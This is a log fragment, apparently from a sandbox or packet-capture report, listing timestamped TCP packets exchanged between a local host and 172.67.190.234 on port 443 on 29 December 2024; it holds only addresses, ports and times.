Dec 29, 2024 14:15:42.064069033 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.064140081 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.064167976 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.064260006 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.067852974 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.067877054 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.067954063 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.067981005 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.067996979 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.068032980 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.071050882 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.071075916 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.071135998 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.071163893 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.071177959 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.071258068 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.074729919 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.074752092 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.074841022 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.074867964 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.074981928 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.077917099 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.077943087 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.078001976 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.078028917 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.078043938 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.078088999 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.081851006 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.081871033 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.081929922 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.081955910 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.081971884 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.081998110 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.258832932 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.258867025 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.258965969 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.259062052 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.259099960 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.259123087 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.261854887 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.261912107 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.261965990 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.261981964 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.262010098 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.262037039 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.265799999 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.265827894 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.265882015 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.265898943 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.265925884 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.265950918 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.268944979 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.268966913 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.269052029 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.269069910 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.269130945 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.272912025 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.272948980 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.273061037 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.273077965 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.273132086 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.276503086 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.276525021 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.276588917 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.276607037 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.276679039 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.279753923 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.279777050 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.279859066 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.279875994 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.279942989 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.283627033 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.283659935 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.283711910 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.283726931 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.283755064 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.283782959 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.460232973 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.460269928 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.460349083 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.460383892 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.460416079 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.460438013 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.463608027 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.463633060 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.463695049 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.463711977 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.463747978 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.463768959 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.466794968 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.466816902 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.466883898 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.466900110 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.466953039 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.470719099 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.470747948 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.470812082 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.470825911 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.470856905 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.470880032 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.473862886 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.473885059 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.473949909 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.473964930 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.474028111 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.477539062 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.477560997 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.477615118 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.477628946 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.477657080 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.477683067 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.481503010 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.481529951 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.481592894 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.481606007 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.481633902 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.481687069 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.484666109 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.484690905 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.484741926 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.484755993 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.484783888 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.484801054 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.661812067 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.661845922 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.662110090 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.662158012 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.662208080 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.664741039 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.664767981 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.664838076 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.664860010 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.664969921 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.668673038 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.668704033 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.668801069 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.668826103 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.668888092 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.671876907 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.671914101 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.672023058 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.672036886 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.672094107 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.675774097 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.675815105 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.675868988 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.675879002 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.675910950 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.675925016 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.679435968 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.679459095 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.679521084 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.679563999 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.679585934 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.679615021 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.682637930 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.682662010 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.682761908 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.682774067 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.682832956 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.685803890 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.685830116 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.685935974 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.685947895 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.685998917 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.863545895 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.863574982 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.863796949 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.863852024 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.863949060 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.866647959 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.866671085 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.866763115 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.866781950 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.866874933 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.869779110 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.869796038 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.869914055 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.869930983 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.869982958 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.873738050 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.873759985 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.873806000 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.873823881 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.873853922 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.873876095 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.876890898 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.876908064 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.876993895 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.877008915 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.877069950 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.880608082 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.880635977 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.880781889 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.880798101 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.880860090 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.884516001 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.884533882 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.884609938 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.884619951 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.884665012 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.887722015 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.887748003 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.887809038 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:42.887818098 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:42.887866020 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.064750910 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.064779997 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.064939976 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.064976931 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.065145969 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.068527937 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.068552971 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.068747997 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.068747997 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.068758011 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.068814993 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.071717024 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.071739912 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.071829081 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.071836948 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.071882010 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.075594902 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.075615883 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.075706959 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.075715065 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.075773001 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.078785896 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.078800917 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.078866005 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.078875065 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.078917027 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.082474947 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.082489967 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.082559109 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.082566977 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.082612038 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.085640907 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.085664034 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.085722923 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.085730076 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.085757017 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.085781097 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.089586020 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.089608908 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.089683056 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.089690924 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.089736938 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.266459942 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.266489029 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.266668081 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.266717911 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.266797066 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.269591093 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.269615889 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.269696951 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.269720078 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.269771099 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.273462057 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.273488045 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.273561001 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.273590088 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.273637056 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.276786089 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.276809931 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.276892900 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.276913881 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.276963949 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.279895067 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.279917002 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.279985905 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.280006886 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.280061960 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.283484936 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.283508062 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.283596039 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.283617020 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.283659935 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.287406921 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.287429094 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.287520885 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.287544012 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.287591934 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.290589094 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.290611029 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.290673971 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.290692091 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.290735006 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.467820883 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.467849016 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.467901945 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.467933893 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.467962027 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.467974901 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.470979929 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.471002102 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.471085072 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.471108913 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.471155882 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.474878073 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.474900961 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.474970102 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.474992037 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.475033998 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.479365110 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.479392052 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.479424953 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.479445934 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.479476929 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.479495049 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.482064009 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.482084990 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.482146025 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.482167006 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.482212067 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.484935045 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.484956980 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.485034943 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.485060930 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.485102892 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.488799095 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.488821983 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.488909960 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.488934994 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.488984108 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.492006063 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.492036104 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.492100954 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.492125988 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.492146015 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.492161036 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.669171095 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.669203997 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.669464111 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.669507980 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.669644117 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.672301054 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.672321081 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.672444105 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.672472000 CET	443	49860	172.67.190.234	192.168.2.5
